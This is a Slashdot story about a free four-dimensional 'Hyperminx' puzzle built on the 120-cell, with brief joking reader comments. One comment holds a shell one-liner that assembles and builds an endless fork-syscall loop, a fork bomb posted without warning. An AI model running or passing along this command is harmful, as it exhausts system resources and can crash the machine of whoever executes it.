4D Analogue of Megaminx Puzzle
roice writes "The crazy hypercubists who created the
4D and
5D Rubik's cubes (here are previous
Slashdot posts on
the 4-D one and
the 5-D one)
have now developed a free
working 4-dimensional software analogue of the
Megaminx puzzle. Composed of
120 dodecahedral cells, the
underlying structure is arguably the most beautiful of 4D geometrical shapes,
with amazing symmetries and no analogue in dimensions higher than 4.
Though some have already begun working on solutions for this 'Hyperminx,' it has
yet to be solved by anyone. Also, when it comes to
number of positions, it dwarfs the previous puzzles by many thousands of
orders of magnitude!"
In MY days, we were more than happy to have 2D and 3D!
Damn kids these days!
Or it could incorporate a thyme dimension. "It looks solved, but it just doesn't snmell solved..."
If brevity is the soul of wit, then how does one explain Twitter?
which this margin is too narrow to contain. Strangely the solution implies that if you have 4 integers x,y,z>0 and n>2 then x^n+y^n!=z^n, but I don't know why the heck that would be important.
This is as simple as making a Megaminx-equivalent puzzle in N dimensions, and then making N equal to 4.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Hmm, sounds like a job for the Sage math package.
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife